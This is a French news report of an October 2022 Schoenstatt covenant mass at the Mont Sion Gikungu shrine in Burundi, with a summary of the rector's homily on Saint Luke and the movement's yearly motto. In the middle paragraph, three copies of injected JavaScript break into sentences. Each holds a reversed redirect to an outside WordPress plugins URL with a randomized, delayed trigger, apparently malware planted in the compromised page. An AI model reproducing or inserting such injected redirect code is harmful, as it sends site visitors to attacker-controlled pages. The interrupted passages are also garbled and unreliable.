La messe d’alliance d’amour de ce 18 octobre 2022 a été présidée par le Père Recteur du sanctuaire de la Reine de la paix et la réconciliation, Père Longin NTIRANYIBAGIRA. Dans son allocution du début de la sainte messe, il a dit que les fidèles de Mont Sion Gikungu se sont joints à toute l’Eglise en tant que famille de Schoenstatt pour se réjouir des fruits de l’alliance d’amour. En ce même jour, la famille de Schoenstatt fête le 108eme anniversaire de son existence. C’est une très belle occasion de rendre grâce à Dieu pour tout ce temps d’existence et d’apostolat de ladite famille. Tous les diocèses du Burundi étaient représentés dans une session que les membres de la famille de Schoenstatt appellent la semaine d’octobre. A cette session qui a duré trois jours au Mont Sion, il y avait un prêtre aumônier diocésain du Mouvement et des membres envoyés au niveau des diocèses. Tous ces représentants diocésains, exceptée l’aumônier diocésain de Bujumbura, ont participé à la messe d’alliance d’amour qui était en même temps celle de clôture de la semaine d’octobre. Le Père Recteur a profité de cette occasion pour annoncer la devise de la famille de Schoenstatt pour l’année 2022-2023 : ‘Dans l’alliance d’amour avec la Sainte Vierge Marie, puisons constamment les grâces jaillissant du sanctuaire, dans la synodalité’.
Les lectures du jour pour cette messe étaient tirées de la seconde épître de saint Paul à Timothée (4, 10ss) et de l’Évangile selon saint Luc (10, 1-9) ; la chorale Sancta Maria a aidé dans l’animation des chants liturgiques. Dans son homélie, le Père Recteur a précisé qu’en cette date du 18 octobre, toute l’Eglise fête saint Luc, apôtre et évangéliste. Même les textes de ce jour nous ont parlé du choix des apôtres et de leur envoi en mission. Le Mouvement Schoenstatt, quant à lui, fête en cette même date le cent huitième anniversaire de l’existence de la famille de Schoenstatt. C’est également le dix-huitième anniversaire que nous scellons notre alliance d’amour avec la Vierge Marie ici au Mont Sion.
Saint Luc est aussi connu comme écrivain de la bonté du Christ car il annonce abondamment la miséricorde divine qui s’est manifestée en Jésus Christ, lui-même annoncé par Jean Baptiste. L’évangéliste Luc nous parle de Jésus comme lumière des nations et de nos cœurs. La famille de Schoenstatt l’a compris et s’est toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dotée de la devise ‘ Schoenstatt, Lumière du monde’. Il est vrai que Luc a existé longtemps avant l’existence de la famille de Schoenstatt, mais il n’y a pas de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doute qu’il a vécu dans l’alliance avec la vierge Marie. Un apôtre est celui qui a été choisi et envoyé pour annoncer la Bonne Nouvelle du salut telle qu’apportée par Jésus Christ. C’est cela que nous venons d’entendre dans l’Evangile quand Jésus a envoyé ses disciples deux à deux. Notre mission est celle que Jésus a révélé quand il était déjà sur la croix et Marie au pied de celui-ci. Il a dit ‘Voici ta Mère’. A partir de ce moment, nous avons compris que nous sommes enfants de la Vierge marie. En plus, selon ses enseignements, nous avons compris que le royaume des cieux est tout proche. Quand nous sommes au sanctuaire, nous nous sentons chez notre mère, chez nous et nous ne cessons pas de nos émerveiller jusqu’à dire comme saint Pierre au Mont Tabor quand il a dit que ce lieu était agréable, il est bon qu’on y érige trois des temples pour y demeurer pour toujours. En disant que le sanctuaire est notre maison, chez nous, nous rejoignons l’adage burundais qui nous souhaite à avoir où habiter et du respect. Nous, nous en avons déjà, c’est chez notre maman. C’est là que nous avons notre protection et notre abri.
La famille de Schoenstatt a compris le sérieux de cette alliance d’amour avec notre Mère quand elle s’est choisi la devise de cette année 2022-2023 telle que nous l’avons mentionnée ci-haut. En nous rendant dans le sanctuaire, nous sommes sûrs de trouver tout ce toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dont nous avons besoin, car elle a tout sur elle. Ce qui nous reste à faire c’est de nous apprêter pour être ses hérauts, a l’instar de ceux que Jésus a envoyé deux à deux. Ceci est d’autant plus vrai que la famille de Shoenstatt ainsi que sa mission sont en pleine expansion. De l’Allemagne, est parvenue au Burundi il y a cinquante-huit ans. Elle a posé son premier sanctuaire à Mutumba. De là, elle bâtit notre sanctuaire ici au Mont Sion, et nous sommes dans le vingt-huitième année. Après Mont Sion, un autre sanctuaire est en pleine construction dans l’Archidiocèse de Gitega. La Vierge Marie ne compte en rester là comme si elle était enfermée au Burundi. Dans cette perspective, elle compte poser la première pierre du sanctuaire à Uvira en République Démocratique du Congo, le 27 courant.
Signalons qu’après l’homélie, il y a eu le rite de bruler les offrandes spirituelles du mois d’octobre, et à la fin de la messe, il y a eu prise de photos de famille de toutes les personnes qui venaient de passer trois jours ensemble dans la semaine d’octobre.
NYANDWI M.